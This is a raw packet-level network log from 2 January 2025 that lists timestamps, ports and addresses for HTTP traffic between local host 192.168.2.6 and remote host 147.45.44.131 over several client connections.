Jan 2, 2025 19:14:17.934119940 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.934123993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934129953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934140921 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934146881 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934153080 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934200048 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.934232950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934268951 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.934299946 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934305906 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934312105 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934323072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934329033 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934334040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934340000 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934346914 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934376001 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.934499979 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934505939 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934513092 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934519053 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934525013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934530973 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934537888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934550047 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.934582949 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.934588909 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934595108 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934601068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934612989 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934618950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934642076 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.934644938 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934691906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.934691906 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.934911013 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.934961081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934967041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.934973001 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.935051918 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.935101032 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.935106993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.935112953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.935125113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.935129881 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.935136080 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.935779095 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.958770037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.958781004 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.958787918 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.958794117 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.958841085 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.958847046 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.958853006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.958858013 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.958872080 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.959182978 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.962533951 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.962541103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.962547064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.962604046 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.962610006 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.962616920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.962627888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.962640047 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.962661982 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.962661982 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.976773024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.976782084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.976788044 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.976829052 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.976843119 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.976850986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.976856947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.976856947 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.976864100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.976871014 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.976912022 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.976984978 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.977001905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977013111 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977016926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977020979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977026939 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977032900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977109909 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.977109909 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.977634907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977639914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977646112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977654934 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977663040 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977729082 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977730036 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.977730036 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.977736950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977749109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977754116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.977803946 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.977940083 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.979377985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979383945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979396105 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979454994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979461908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979465961 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.979474068 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979480028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979492903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979499102 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979509115 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.979541063 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.979579926 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.979583025 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979589939 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979595900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979620934 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979626894 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979640961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979664087 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.979733944 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.979756117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979762077 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979774952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979811907 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.979815006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979821920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979827881 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979834080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979899883 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.979901075 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.979937077 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979993105 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.979999065 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980072975 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.980114937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980120897 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980129004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980142117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980148077 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980153084 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980159044 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980165005 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980178118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980182886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980195045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980207920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.980207920 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.980293989 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.980387926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980401039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980407000 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980449915 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.980490923 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980496883 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980509043 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980514050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980531931 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980536938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980542898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980550051 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980556011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980566978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980566978 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.980573893 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980580091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980601072 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.980601072 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.980654001 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.980817080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980823040 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980835915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980894089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980900049 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980910063 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.980931044 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.981034994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981040955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981046915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981053114 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981064081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981067896 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.981070042 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981084108 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981090069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981101990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981115103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981126070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981132030 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981137991 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981143951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.981143951 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.981143951 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.981143951 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.981143951 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.981158972 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.981302023 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.986771107 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986778021 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986789942 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986797094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986802101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986835003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986850977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986862898 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986872911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986885071 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.986885071 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.986911058 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986916065 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986922026 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.986922026 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.986943960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986949921 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986960888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.986994982 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.987023115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.987030029 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.987040997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.987046003 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.987066984 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.987066984 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.994714022 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.994784117 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.994788885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.994801044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.994806051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.994812012 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.994817972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.994827986 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.994828939 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.994836092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.994873047 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.994915962 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996098042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996140957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996145964 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996191978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996205091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996220112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996226072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996226072 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996226072 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996233940 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996239901 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996269941 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996409893 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996442080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996448040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996459961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996465921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996515036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996521950 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996527910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996534109 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996536016 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996539116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996570110 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996635914 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996742010 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996747971 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996762037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996774912 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996778965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996795893 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996802092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996807098 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996809959 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996814013 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996822119 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996822119 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996831894 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996838093 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996844053 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.996900082 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.996997118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.997004032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.997010946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.997011900 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.997023106 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.997029066 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.997102022 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.997993946 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.997998953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998009920 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998016119 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998020887 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998032093 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998045921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998059034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998064995 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998068094 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.998075962 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998080969 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998086929 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998092890 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998110056 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998116016 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998116970 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.998121977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998131990 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998138905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998146057 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.998158932 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.998203993 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.998305082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998318911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998330116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998336077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998343945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998351097 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998358965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998372078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998380899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998383999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998392105 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.998414040 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998423100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998435020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998440027 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998446941 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.998462915 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.998462915 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.998514891 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.998516083 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000076056 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000082970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000094891 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000099897 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000106096 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000118017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000133038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000138044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000150919 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000155926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000160933 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:18.000169039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000174999 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:18.000186920 CET	80	49727	147.45.44.131	192.168.2.6
